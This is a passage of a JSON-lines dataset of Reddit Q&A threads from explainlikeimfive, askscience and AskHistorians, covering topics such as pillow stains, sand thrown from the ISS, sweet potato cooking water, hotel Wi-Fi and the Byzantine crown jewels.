on. I'd suggest once you notice the yellowy-brown stains it's time to replace, or at least cycle them, so move that one down and buy a new one to have on top. I always have bottom-bitches when it comes to pillows.", "I knew a gut who burst his ear drum and leaked horrid gack all over his pillow. He was in a lot of pain, however.", "Do you use acne medication?  I can't remember which it was, but mine used to turn my headphone cushions and the like pale and crumbly.", "I know what it is you're talking about. My dad (and subsequently myself) have a sweat problem. If its a bluey greeny browny kind of colour its okay its just large amounts of sweat reacting with chemicals in the pillow (sometimes copper). Its called pseudochromhidrosis.\n\nDouble wrap your pillows in cases and sometimes (if necessary) put a towel underneath it, it can get a bit uncomfortable sometimes but it works. Memory foam pillows are for some reason the worst for this so bear that in mind.", "I have this same issue, my spouse does not and is honestly \"eeked out\" by it.  Another poster has explained what cause it, sweat, oil, etc, reacting chemically withyour pillow. \n\nI folded a few really nice towels in half and sewed down both of their sides, leaving the bottom end open. This not only saves your pillows, but works wonders for your skin and nowadays you can get towels in any color or patern.", "Are you italian? My dad's 100% italian and his pillowcase always looked like he was spilling orange juice on it nightly. Now that we're grown, my brother and I do the same to a lesser extent. We are a greasy people.", "You should be changing the case weekly. How often are you changing it?", "I guessing OP is referring to his pillow having a yellowish tinge to it.\n\n[Like the bottom left pillow?](_URL_0_)\n\nI sweat all the time in my sleep due to medications (nocturnal hyperhydrosis) and also because Australia and I will quite often wake up with wet sweaty hair. So my pillows look gross after a while.\n\nSolution: Buy new pillows every now and then. They aren't expensive and new pillows rule.", "I've had to remove a ton of top level posts that were jokes, anecdotes, or otherwise not explaining anything.\n\n > Direct replies to the original post (aka \"top-level comments\") are for serious responses only. Jokes, anecdotes, and low effort explanations, are not permitted and subject to removal.\n\nPlease stay on topic and follow the rules. ", "You may be a robot.\n\nOften robots are programmed to believe they are human. You couldn't know or acknowledge that truth, but certain evidence such as this will at least attune your processors to the possibility. ", "There was a comic a while back that did a routine on this.  I remember him saying that \"apparently we all leak maple syrup from our heads while we sleep.\"  :)", "Change your pillow for a buckwheat one.\n\nNo I'm not joking, I got night sweats every night for 25 years till I bought one. Problem cured on the fist night. No idea why or really how it works, must be airflow or something, but trust me it works "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRlDHvU8x0PGJkLF94wCmFylaWyihNdOpSexnun35nz3D_GjVWaLA"], [], [], [], []]}
{"q_id": "14wnmk", "title": "If i took a bucket of sand, and threw the sand from the I.S.S, would it create the same effect of a meteor shower?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14wnmk/if_i_took_a_bucket_of_sand_and_threw_the_sand/", "answers": {"a_id": ["c7h3nxu", "c7h3qtg", "c7h67jg", "c7h8wb4", "c7ha9kz"], "score": [22, 195, 8, 3, 3], "text": ["Not the same as a real meteor.  Meteor showers are moving with immense speed relative to the earth; on the order of 15 km/s.  Your sand would slow down slightly as its orbit decays but start out at a velocity around half that at perhaps 7 km/s.  Much less energy to dissipate.\n\nMeteors from comets are going at more like 42 km/s up to 70km/s", "Maybe. First off, if you \"dumped\" a bucket of sand from the ISS, the sand would just continue to orbit with you. But I'll consider a particle of sand hitting the atmosphere at a pretty steep angle, with the speed the ISS orbits at, around 7700 m/s. A very large particle of sand (borderline gravel) is a bit over 1 mm in diameter, with a volume of let's say 1 mm^3. Quartz has a density of 2660 kg/m^3, so our grain of sand has a mass of 0.00000266 kg. Kinetic energy is 1/2 m v^2, which gives the grain of sand 79 Joules of kinetic energy.\n\nIf it burns up in one second and all of the energy magically turns into visible light, that's like a perfectly efficient 80 watt lightbulb being on for one second, at an altitude of maybe 50 km? The question is then can you see an 80 watt lightbulb from 50 km away.\n\nI can't find a good source on minimum light intensity humans are capable of detecting, but [this page](_URL_0_) says that 90 photons hitting the pupil over a period of around a second is the lower end. A photon of visible light (somewhere in the 500 THz range) has an energy of 3.3 x 10^-19 Joules and the human pupil has a maximum area of around 50 mm^2, so the intensity we need to see something is 6 x 10^-10 watts/m^2.\n\nAt 50 km, the 80 watts from the sand burning up has spread to 2.55 x 10^-9 watts/m^2.\n\nSo if everything is perfectly in your favor, you *might* be able to see a very large particle of sand hit the atmosphere at ISS speed and burn up. But probably not.", "Highly related question, one I have frequently wondered: \n\nIf one were to throw something out of the ISS by hand, toward the earth, how long would it take to get to the earth?  Would this thing reliably get to the earth fairly soon, or end up floating around as space junk for a long time?  \n\n\nThanks!", "What if a bullet was fired from ISS at the earth? ", "Does 'sand' or anything sand sized naturally do this? I imagine single grains might do but does anything like a cloud of sand float around in space?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Absolute_threshold"], [], [], []]}
{"q_id": "bv1a6i", "title": "since movie scenes aren\u2019t filmed chronologically, how do filmmakers organize and decide when to film what?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bv1a6i/eli5_since_movie_scenes_arent_filmed/", "answers": {"a_id": ["epk2lg2", "epk2s4n", "epk2s8b"], "score": [6, 3, 8], "text": ["They organize the scenes by location and then by who is needed for each scene. It's a matter of reducing costs so on days that they don't need an actor they aren't on set.", "The movie is scripted and planned before filming starts. The order things are filmed in are dictated by practicality, the availability of locations and staff, etc. For example, it makes sense to film all scenes at a particular location at the same time, so you only have to set up once. It makes sense to film all the parts of a minor actor at once, so you don't need to keep them on set for the whole shoot. Etc", "Heya! Ok so basically we have a shooting script, which is like a normal script but with added info\nfor crew members (stuff like shot type usually).\n\nThe Director decides which days to shoot what scene depending on set availability, prop availability, actor availability and a load of other factors.\n\nA continuity supervisor usually will have to track things like clothes color, water in a glass, hairstyle etcetera from shot to shot to make things look like they were shot at the same time and keep things consistent. When you see someone\u2019s cigarette swap hands mid scene, hat color change etc, it usually means the continuity supervisor fucked up (or the editor spliced shots that weren\u2019t supposed to be together)\n\nThe First Assistant Director basically orders around the set and does time management, as each scene needs multiple shots from different camera angles. A good 1st A.D. can get everything done in time, but usually shit happens, we need reshoots and time runs out. If a shot is missed, it\u2019s the 1st AD\u2019s job to tell the director and plan for that to be filmed asap.\n\nTLDR: lots of organization and people doing their jobs properly"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "105m9y", "title": "How can you work out the time taken for two objects (for example, planets) to collide if they are only under the effect of gravity?", "selftext": "I have been studying something similar recently in Physics, namely the use of the equation of F = (GM1M2)/r^2 , however based off my own understanding, as two objects under this force accelerate towards each other, the acceleration increases. I was thinking of whether this can be linked into one of the more general equations of mechanics, namely one such as S = ut + 1/2at^2, with taking S to equal zero when they collide, the starting velocity as 0, and a to be found via linking it with its differential, as I imagine da/dt to be linear. Am I thinking in the right direction, or am I completely off the mark?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/105m9y/how_can_you_work_out_the_time_taken_for_two/", "answers": {"a_id": ["c6am2r4"], "score": [3], "text": ["da/dt isn't linear.  \n\nFirst, a simpler example, let's say m1 is fixed somehow, so we only have m2 accelerating.  F=ma, so a=GM1/r^2 .  By integrating this acceleration twice, we get the equation that can be solved for the time to collide. integral(adt)=velocity, integral(velocitydt)=position, then you solve for the time when the position is zero\n\nIf both bodies are accelerating, it's a little more complex.  The acceleration of m1 is a1=GM2/r^2, and the acceleration of m2 is a2=GM1/r^2.  The change in separation between the two bodies, d^2 r/dt^2 =a1+a2.  Integrating this twice will give you the answer you want."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1z1ucm", "title": "Do insects/arachnids/ other arthropods respond to Pavlovian conditioning? Can they be trained in some other way?", "selftext": "What the title says. Just curious. No, I'm not asking this because I recently learned you can buy Mantis egg cases and want to train a mantis attack army. That's rediculous... Stop looking ^at ^me ^^like ^^that...", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1z1ucm/do_insectsarachnids_other_arthropods_respond_to/", "answers": {"a_id": ["cfpvzmh", "cfpw1fn", "cfpy85e", "cfq4kqc"], "score": [21, 4, 12, 2], "text": ["Yes and yes.\n\n[Pavlov's Cockroach: Classical Conditioning of Salivation in an Insect](_URL_1_), and here's a paper talking about training fruit flies using operant conditioning: [Reward learning in normal and mutant Drosophila](_URL_0_).", "The short answer is yes, there have been experiments conducted most famously with fleas, causing them to jump on command with some of they're legs tied up. Other experiments have been conducted with shrimp or lobsters all using Pavlovian conditioning techniques, but it will take time and more then likely you can only teach them to do one or two things. \nBest of luck~ \n\nSources: entomology research, for my biology degree.  ", "Learning abilities vary a lot among different groups of arthropods. Some of them can barely learn anything, others have very sophisticated ways of associative learning. Take for example many parasitoid wasps, who are possibly going to be used [to detect drugs](_URL_0_). These wasps need to find live insect hosts for their eggs, and many lay eggs in multiple hosts during their life. While they have an innate attraction to for example host plants where they could possibly find the host, they can optimize their searching by learning other cues as well when they actually find a host. So they learn to associate their host with other cues, both visual and chemical, so that is how you can train them to find drugs for example. You offer them a host while the drug scent is also present and when the wasp later smells the drugs again, they will fly for that scent. Their memories can be retained pretty long, which is very interesting and quite some people are studying the  neurological mechanisms behind it. \n\nIf you are talking about Mantids though, I have mantids and the only thing they will learn is the location where you put in the prey; they will generally sit on that side of the terrarium. Perhaps in nature they can also learn to associate for example flowers with prey (because a lot of flying insects visit flowers) but I doubt you can teach them much else as they are rather inactive insects (sit-and-wait predators). Anyway, if you try you should use prey as reward. ", "I know there have been experiments with web spiders showing learning. For example, the researchers would put a drop of sugar water into the web and vibrate the web near that point with a tuning fork of frequency \"A\". Then they would repeat but with a bitter tasting liquid (iirc, chinin) and use frequency \"B\". When they later did a control with glass beads, the spider would only react to the \"sweet\" frequency.  \nWill try to dig up a link...\n(source: Did a small research project on spiders, but it's been quite a while ago)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.pnas.org/content/80/5/1482.short", "http://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0000529"], [], ["http://www.sciencedaily.com/releases/2005/10/051021120542.htm"], []]}
{"q_id": "4uy34b", "title": "what the steel-cutting does to oatmeal.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4uy34b/eli5what_the_steelcutting_does_to_oatmeal/", "answers": {"a_id": ["d5tv5r6", "d5tv74n"], "score": [2, 3], "text": ["Just skip to the link below.  Since I know ELI5 doesn't like when you just post links, so I had pretend to say a few words.  It just means they are coarsely cut, leading to different flavor/texture.\n\n_URL_0_", "Steel cut oats are just oats that were traditionally cut by giant steel blades.  You have a coarse, more grainy feel than the traditional oats that many people see, because the whole oat groat is just run under a chopper.  Rolled oats and such are oat groats that have been processed mildly by adding heat and some moisture, and then rolling them into a flattened shape.  They aren't flat naturally, but some people prefer that texture."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Steel-cut_oats"], []]}
{"q_id": "2h1741", "title": "Do all animals fart?", "selftext": "I just saw this video _URL_0_\nIt is a Karl Pilkington video, in the video a snake farts.\nDo most animals fart? Fish? Birds? Butterflies?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2h1741/do_all_animals_fart/", "answers": {"a_id": ["ckoj55g", "ckounvo"], "score": [35, 2], "text": ["All animals have digestive systems. All digestive systems produce gases. All noxious digestive gases must be expelled from the body. There are many ways by which animals expel gases from their bodies. Some do it by the anus, some do it by the mouth, some do it by their skin. The word 'fart' is not well defined but it can be thought of as a sound that is made when gas is expelled from the anus. Therefore, not all animals fart.\n\n", "For those who are as curious as I was, this is what snake feces look like.\n\n_URL_2_\n\nAnd this is a snake defecating.\n\n_URL_1_\n\nNINJAEDIT:\nA video of said defecation. \n_URL_0_\n\nReally interesting shape!"]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=BD2StXY1qKg&amp;feature=share"], "answers_urls": [[], ["http://m.youtube.com/watch?v=-eqVjdKtD44", "http://www.wildlife-removal.com/images/snakepoop.jpg", "http://www.city-data.com/forum/attachments/atlanta/46421d1249335784-what-animal-pooping-my-garage-poop1.jpg"]]}
{"q_id": "odht2", "title": "Boiled sweet potatos and saved the water to use in stock later. Placed water in fridge overnight to cool and in the morning, it turned from dingy orange to neon green! Why did the color change take place? What type of reaction just happened on me?", "selftext": "EDIT: The pot the potatos were boiled in was a basic metal pot with a flat bottom, used on a glass-top stove. The liquid was placed in plastic containers to cool in the fridge overnight. \n\nEDIT2: It went from neon green to a blue-green! Here are the pics:\n_URL_1_\n_URL_0_\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/odht2/boiled_sweet_potatos_and_saved_the_water_to_use/", "answers": {"a_id": ["c3gdhsx", "c3gdj2w", "c3gdof6", "c3gdzfr", "c3ge03u", "c3ge8dt", "c3gflzk", "c3gg1xp", "c3ggafx"], "score": [18, 25, 227, 6, 12, 68, 3, 2, 2], "text": ["quick question: was it a copper pot?", "Pictures please. For science.", "The primary pigment in sweet potatoes is carotene, a long conjugated alkene, which absorbs around 450-500 nm. Knocking off one of the double bonds to make the conjugation shorter would blue-shift the absorption, which could make it look green by absorbing around 400 nm. Whatever the leached pigment is lost a double bond overnight and the absorption shifted to reflect that.\n\n----\n\nEdit: the OP has a great link to a paper below - turns out that the reaction of chlorogenic acid and glutamine or asparagine (all present in sweet potato water) will give the same characteristic color of the cooking water.\n\n_URL_0_\n", "Perhaps someone could comment on [this](_URL_0_) study which examined the same thing.", "Staus is basically correct. It is probably oxidation of the Beta-Carotene that disrupts the double bond conjugation. It must be happening at a specific place in the molecule, otherwise it wouldn't form such a bright, specific color. Lets go way back to 1966 for this one...[article](_URL_0_). Abstract for those who can't access it...\n\n\"Dry butterfat occasionally develops a greenish colour when stored for at least years at \u201412 \u00b0C whereas samples of the same fat kept for 2 years at + 2 or +15 \u00b0C do not show this colour defect. Spectrophotometrical measurements have shown that the defect is accompanied by a chemical change of the carotene. Its absorption maxima are shifted towards the shorter wavelengths, and a new absorption is observed at 400-410, 430-435 and 450-460 mm. The possible involvement of oxidation products of carotene, such as isomeric diepoxides or furanoid oxides is discussed. The colour defect can be observed before any change in flavour is noticed.\"\n\nObviously this is happening a bit quicker though, but I bet it is something similar. ", "Looks like the answer is:\n\nThe aim of this study was to determine the cause of green color development in water used for cooking new potatoes. Evidence, from studies on rates of pigment formation, on spectral changes and on gel filtration chromatography, strongly favors chlorogenic acid and amino acids being involved. In particular, the reaction between chlorogenic acid and glutamine that occurs under mildly alkaline conditions, like those of the potato cooking water, led to a mixture of blue-green and brown pigments with properties similar to the green water coloring matter. Chlorogenic acid and asparagine gave a pigment mixture spectrally similar to the glutamine-derived pigment and may also contribute to the green cooking water color.\n\nfrom: _URL_0_\n\nNow, can someone Explain Like I'm Five?", "if you boil blue potatoes, the resulting water is that same shade of green", "This sounds like an awesome practical experiment to show kids organic chemistry in action.", "It sounds like the metal ions interacted with the xanthophyll molecules, drastic color change is very common in the food industry when making canned vegetables because their \"color\" molecules will interact with the metal molecules.  This is solved by a coating being applied to all cans so that it is used only as storage and that the veggies never come in contact with the metal itself.  I don't know the coating but there's some fantastic color changes that can take place apparently."]}, "title_urls": [], "selftext_urls": ["http://imgur.com/fV6eg", "http://imgur.com/a9FoT"], "answers_urls": [[], [], ["http://openagricola.nal.usda.gov/Record/IND20405056"], ["http://www.sciencedirect.com/science/article/pii/0308814694901740"], ["http://journals.cambridge.org/action/displayFulltext?type=1&amp;fid=5124420&amp;jid=DAR&amp;volumeId=33&amp;issueId=01&amp;aid=5124412"], ["http://openagricola.nal.usda.gov/Record/IND20405056"], [], [], []]}
{"q_id": "fwhy6t", "title": "Antipope John XXIII was accused and found guilty only of piracy, rape, sodomy, murder and incest after the more scandalous charges were suppressed according to to historian Edward Gibbon. Was there any merit to the accusations?", "selftext": "According to  to historian Edward Gibbon\n\n > The more scandalous charges were suppressed; the vicar of Christ was accused only of piracy, rape, sodomy, murder and incest\n\nWas there any merit to this accusations or was the trial politically motivated? If legit, were there any actual more severe accusations that were not included in the trial? Were such practices common of popes in this era?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fwhy6t/antipope_john_xxiii_was_accused_and_found_guilty/", "answers": {"a_id": ["fmp2oef"], "score": [449], "text": ["Here is an answer from /u/jezreelite that goes into depth on this question. \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/dh18q9/comment/f3lwszk"]]}
{"q_id": "2gzqe3", "title": "What species has the most genetic diversity?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2gzqe3/what_species_has_the_most_genetic_diversity/", "answers": {"a_id": ["cko6ijq", "cko7quk"], "score": [2, 2], "text": ["Well it depends on what scale you mean by species.\n\nBUT, I'm pretty sure the [weevil](_URL_0_) wins with over 60,000 species. Which is more than twice that of actinopterygii which is ray finned fish (30,000). Invertebrates, though, comprise most of the organismal diversity on the planet.", "_URL_0_\n\n\nIt looks like it may be C. elegans "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Weevil"], ["http://firstlook.pnas.org/the-most-genetically-diverse-animal/"]]}
{"q_id": "368po1", "title": "if producing meat takes so much more energy than producing vegetables and fruits why is being vegan or vegetarian so much more expensive? are there government subsidies or other measure that help the meat industry more than generally farming produce?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/368po1/eli5_if_producing_meat_takes_so_much_more_energy/", "answers": {"a_id": ["crbqsx4", "crbqzcm", "crbrjg1"], "score": [43, 6, 10], "text": ["* If producing meat takes so much more energy than producing vegetables and fruits why is being vegan or vegetarian so much more expensive?\n\nIt's not. It's only more expensive if you mostly eat out or only buy prepared foods. The raw ingredients for cooking vegetarian and vegan meals at home is absolutely cheaper.\n\nIt's true that vegetarian / vegan prepared foods are more expensive on average: for example veggie burgers are more expensive than the same amount of ground beef patties.\n\nThe main reason for this is supply and demand, and economies of scale. Fewer people eat veggie burgers so they need to charge more to stay in business. A lot more quantity of beef is sold, and there's a lot more competition, so the profit margin is less.\n\nAs the number of vegetarians and vegans - or just people who enjoy meatless food on occasion - grows, more competition is likely to drive these prices down.\n\n >  Are there government subsidies or other measure that help the meat industry more than generally farming produce?\n\nYes, that's true too. Meat and dairy get a lot of subsidies that artificially lower the price.\n", "You are always going to pay more for fresh, high quality ingredients. Many vegan/ vegetarian items are also sustainably and organically produced. This may be in part because people who are vegan also tend to be more educated about what they are choosing to eat. \n\nAn organic, local, grass fed high end cut of beef is going for $20 per pound at my local butcher. A pound of organic tofu is about $4. Quality plays a part in the pricing. Many of the worlds poorest are vegetarian (most of India, for example), and many people are not able to afford to eat meat. It's just in the developed world that the fake meat substitutes are the most common sources of protein, rather than things like lentils and beans. A pound of beans is about $1, lentils are even cheaper, usually about 50 cents per pound (organic bulk bin price at my local store). ", "Because your primary assumption is wrong.\nGo to a supermarket. From memory of what I paid last night. 4kg of potatoes: $6. 450g of Sausages: $4.50.\n\nHell, let's assume you ate nothing but potatoes and suppliments as your Vegewhatever diet, you'd probably still come out better than trying to do some form of meat, potatoes and veg every night. I know that Iron, Folate Calcium pills were all $7 each for like, a months dose. Hell, Sustagen (mix powder with milk, helps deal with malnutrition or people who can't keep down solid food after some incident.) is like $11 for a tub of the stuff that'll last a drink a day for about a month.\n\nUnless we're looking at high end cheese, seafood or something else, the simple fact is meat is the most expensive part of our diets. Hell, have a 500g bag of potato chips for like, $2 but 500g of ground meat is $4. 1ltr (1000 grams) of iced coffe is $5.50... I mean, spices might get expensive. Saffron's the insane one everyone knows about, but some other ones can get pretty expensive. But for the average person reading this post, meat consumes most of your food budget if you cook yourself. If you're eating out, profit consumes most of your food budget."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2akvy9", "title": "How accurate is this comic from /r/worldhistory?", "selftext": "_URL_0_", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2akvy9/how_accurate_is_this_comic_from_rworldhistory/", "answers": {"a_id": ["ciw6nsb", "ciwv0rp"], "score": [6, 2], "text": ["My post [here](_URL_0_) covers the major errors and I also recommended a few short books on the Eastern Roman Empire that are more accurate. It at least tried to present a more accurate version of history (compared to the popular view of the 'fall' of Rome), but it is a bit simplified and tried to impose modern attitudes on the past, such as by suggesting that Phocas was a bad emperor because he persecuted people - he was a bad emperor by many standards, but you can't really explain his lack of popularity by his religious attitudes. I don't think I've even read about him persecuting sects (though that might be because we have very few sources for his reign), and his predecessor Maurice is a much better example of a persecuting emperor anyway!\n\nFeel free to ask me any questions you have about this period :)", "One sort of funny one that jumps out to me is that it says Heraclius funded his military expedition with \"donations from the church.\" That's a really polite way of describing what he actually did which from my understanding was to basically confiscate church altarpieces, candlesticks-- anything made of gold-- and have it melted down to pay off mercenaries."]}, "title_urls": [], "selftext_urls": ["http://imgur.com/a/tj9Qu"], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/2akcgq/did_leaders_usually_die_first_while_leading_a/ciw5a7a"], []]}
{"q_id": "4ezg0p", "title": "It's 2016, and I never leave home without my phone, wallet, and keys. This is probably true of 90% of Americans. What items (if any) would you expect the vast majority of Americans to always carry in 1916? 1816? 1716? 1616?", "selftext": "Feel free to limit to men or women if somethings split by gender.  What about 1500, 1000, or 500 in, say, England?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ezg0p/its_2016_and_i_never_leave_home_without_my_phone/", "answers": {"a_id": ["d24pw71", "d24v3cc", "d24xaxj", "d2yqzjh"], "score": [226, 244, 1436, 3], "text": ["_URL_0_\n\nFairly similar question which may have the answer you are looking for, though the answers are from a slightly later time than you are asking about.", "**Commenters:** Please don't respond to OP's question if all you're going to do is offer speculation. If you have the proper background to be able to answer the question with credible sources, then great. If not, please don't comment. If you do we'll just remove your comments and you're creating more work for us and more frustration for people coming here to see a real answer.\n\n~~(I really didn't want to leave a sticky comment but people aren't getting the message. I'll unsticky this later.)~~ edit: unstickied", "(I'm a 19C Americanist by training but material culture stuff isn't my specialty. Apologies for thinnish sourcing.)\n\nOne really obvious thing for starters: \"the vast majority of Americans\" before 1863 includes a lot of slaves, ie people who didn't have legal right to possessions and wouldn't generally be carrying money, wallets, etc.\n\nKeys you'd certainly see plenty of in 1916, but you'd see many fewer in 1816, before the invention of the cheap industrially produced Yale lock. In general again \"the vast majority of Americans\" wouldn't include very many property owners wealthy enough to secure their property with locks before the advent of the Yale lock in the mid-nineteenth century. [Here's a decent-looking source on locks.](_URL_0_) Before the cheap lock security is basically a part of domestic labor, done either by women or slaves without pay or servants and housekeepers for compensation.\n\nIdentification papers in general as an everyday pocket item is largely a mid-20C thing, not earlier, particularly when you're not travelling (it doesn't seem like you're asking about travellers, specifically). Cash, obviously, if you've got it, you carry, but the usual late-20C/21C wallet is full of lots of non-cash identity-tracking items that don't really have any pre-20C analogue. The mid-late 19C got very into calling cards, but even at their height you wouldn't see those in the wallets of \"the vast majority,\" only the middle class.\n\nThere's only one real answer to your question I can think of: _food and drink_. That's the main category you'd see a lot more of in earlier centuries' \"everyday carry\" than you might expect based on our 21C experience. Depending on what people planned to do during a day they'd be expecting to travel distances with sparse availability of food for purchase, or clean water for the taking. Once you start noticing this you'll see almost any 18C/19C narrative describes bundling up a bunch of sandwiches, etc., as part of one's daily preparations before heading out. ", "Can I ask a follow up question?  When did handkerchiefs go out of style, and is there any discernable reason as to why?  Apparently my grandfather always carried one in the fifties, whereas I've never even owned one."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4avf57/before_we_had_cellular_phones_lets_say_from/"], [], ["https://books.google.com/books?id=W1ScCQAAQBAJ&amp;lpg=PA25&amp;dq=yale%20lock%20tumbler%20history&amp;pg=PA23#v=onepage&amp;q&amp;f=false"], []]}
{"q_id": "campjb", "title": "how in big hotels, the range of wi-fi is practically everywhere and only under one ssid?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/campjb/eli5_how_in_big_hotels_the_range_of_wifi_is/", "answers": {"a_id": ["et9n7bs", "et9na0c", "et9rehh"], "score": [18, 6, 16], "text": ["They're using access points. Basically the actual router is connected to several access points across the site and these access points create the wifi signal. But as they're hooked up to the same router and basically just act like an extension cord they appear as the same network.", "Multiple access points (basically signal repeaters) are used and named the same. So whichever one  is closest or has the strongest RSSI to your device is connected. I have the same setup in my house using a Netgear 3700 extender.", "They use enterprise class WiFi solutions. Basically, there's a device called a WLC (Wireless LAN Controller), it's usually sitting in the network closet (Where the modem and servers are). The WLC connects to several AP's (Access Points), these are the devices that are usually stuck to the ceiling that broadcast the WiFi signal. The WLC controls the AP's, it tells them what SSID to broadcast.\n\nYou can actually name two normal WiFi routers with the same exact name and set the same password. The problem is that devices that connect to WiFi will connect to the closest one, but try to stay connected to it for as long as possible. Only when you lose the signal will it connect to the closer one. This means that if you move through the building, you'll get a poor signal even though you're really close to the other WiFi router. What a WLC does is control which AP your device connects to. If it detects that you're only getting 25% signal strength and you're within range of one with 75% signal strength, it'll send a message to your device to migrate to the one with the stronger signal. With a WLC, this transition is seamless, as it doesn't need to do any authentication (Check password). With normal range extenders or multiple wireless routers, you'll notice the WiFi go out for a few seconds as it needs to authenticate with the other network."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bbjisr", "title": "why do americans always talk about oil changes in their cars, while in the uk there is seemingly never any mention of it.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bbjisr/eli5_why_do_americans_always_talk_about_oil/", "answers": {"a_id": ["ekj8kzq", "ekj92nz", "ekj9964", "ekj9yon", "ekja0v0", "ekjbu0y"], "score": [8, 2, 2, 3, 2, 3], "text": ["Most people here probably just get it done as part of the routine servicing and don't have to think of it separately. Do American cars get regular services by garages or dealers?", "That\u2019s interesting. I imagine it may have something to do with the US being so fucking big. I used to live in a small (for the U.S.) city (Kansas City) and it would take me an hour to get across town if traffic was flowing. Our states are the size of countries. Seriously, look at a map of Missouri. It\u2019s a nondescript middle of nowhere state that is larger than Netherlands, Switzerland and Belgium combined, 1.3 times larger than Greece, larger than Uruguay, bengladesh, Portugal, Austria, etc. And it\u2019s just a middle of the road state. Meanwhile California is larger than France or Spain or Sweden. Not to mention Texas, which would be the 27th largest country or fucking Alaska, which would be larger than all but 17 countries in the world. Americans drive a lot. I put 35,000 miles on my car last year for work just driving around the south-central portion of Missouri. Maybe just the sheer size of the country and amount of driving we do. Also, we have almost zero public transportation unless you live in the megalopolis on the east coast.", "In the UK vehicles older than 3 years require a mandatory government annual check up called an MOT. These are done at approved dealerships and service stations, who typically up-sell other fixes and maintenance at the same time, including oil changes.\n\n_URL_0_", "Couple of suggestions::\n\n* Because all cars need to have a yearly MOT testing and\n* Because emissions and fuel economy can incur financial penalties (insurance, tax, congestion costs)  \n\n\\- keeping an old car can be no longer economic so there are fewer clapped out old cars on the road. Newer cars don't need an oil change as often as old cars with dodgy engines.\n\n* Because in order to sell on your car for a good price you need to have a log book that shows its service history\n\n\\- people tend to have their car serviced regularly (yearly) An oil change is usually included in that process so there is no need for it to be done as a separate item.\n\nPeople are more likely to say \"my car needs a service\" than \"my car needs an oil change\".", "You know those services you get every 10000 miles, as your log book recommends :P? (or every year, before the MOT, like many people)? They involve an oil  change, plus filters and sometimes sparks.", "I used to own a garage here in the UK, Almost all of my customers who didn't run classic cars would have the MOT and service done together (it saves money too) but it means it is all done in one go with no hassle, They would leave it with me in the morning and collect after work with a fresh MOT and a full service done. Most people here do few enough miles that the once a year oil change is perfectly fine, Indeed for many of my customers the oil change was early every year as they just didn't cover the mileage, I only recall a few cars needing oil changes more often and those were taxis that did airport runs and rep mobiles.\n\nSo for many here it is simply a part of the annual routine and there really isn't much to talk about."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/MOT_test"], [], [], []]}
{"q_id": "3onkqo", "title": "Where are the Byzantine crown jewels kept today, or what happened to them?", "selftext": "I am aware that Constantinople was conquered in 1453 by the Ottoman Turks, but were the crown jewels taken into the sultan's treasury to never be seen again? Are they possessed by a modern nation such as Turkey or Greece? I've been dying to know the answer to this question. Thanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3onkqo/where_are_the_byzantine_crown_jewels_kept_today/", "answers": {"a_id": ["cvyw2aw"], "score": [64], "text": ["An interesting question that has an interesting answer, because the Ottoman Turks never had the Byzantine crown jewels, due to the fact that they'd been pawned to Venice in 1343 by Anna of Savoy.\n\n Anna had been the wife of Emperor Andronikos III, but he died in 1341 and his young son John V was nine years old, so Anna assumed the regency. The government administration, however, was in control of a John Kantakouzenos, and mutual distrust and intrigue between him and Anna would eventually lead to civil war. In an attempt to drum up pro-Western support (since Anna had little to no native Greek allies due to their distrust of Westerners) and pay for an army, she pawned off the crown jewels to the Republic of Venice for 30,000 Venetian ducats. This ended up being a futile gesture and she lost the war. John V and multiple successive emperors of Byzantium would continually attempt to negotiate a return of the jewels, but Venice would never end up letting them go until and after Byzantium's fall to the Ottomans. I draw this information from John Julius Norwich's \"Byzantium\" trilogy.\n\nFurther reading online details that Napoleon's conquest of Venice would lead to many pieces of the original set being looted and melted down to finance his wars, although a good amount of the crown jewel set can still be found in Venice, as well as other sets given away as gifts in Hungary and Mt. Athos."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
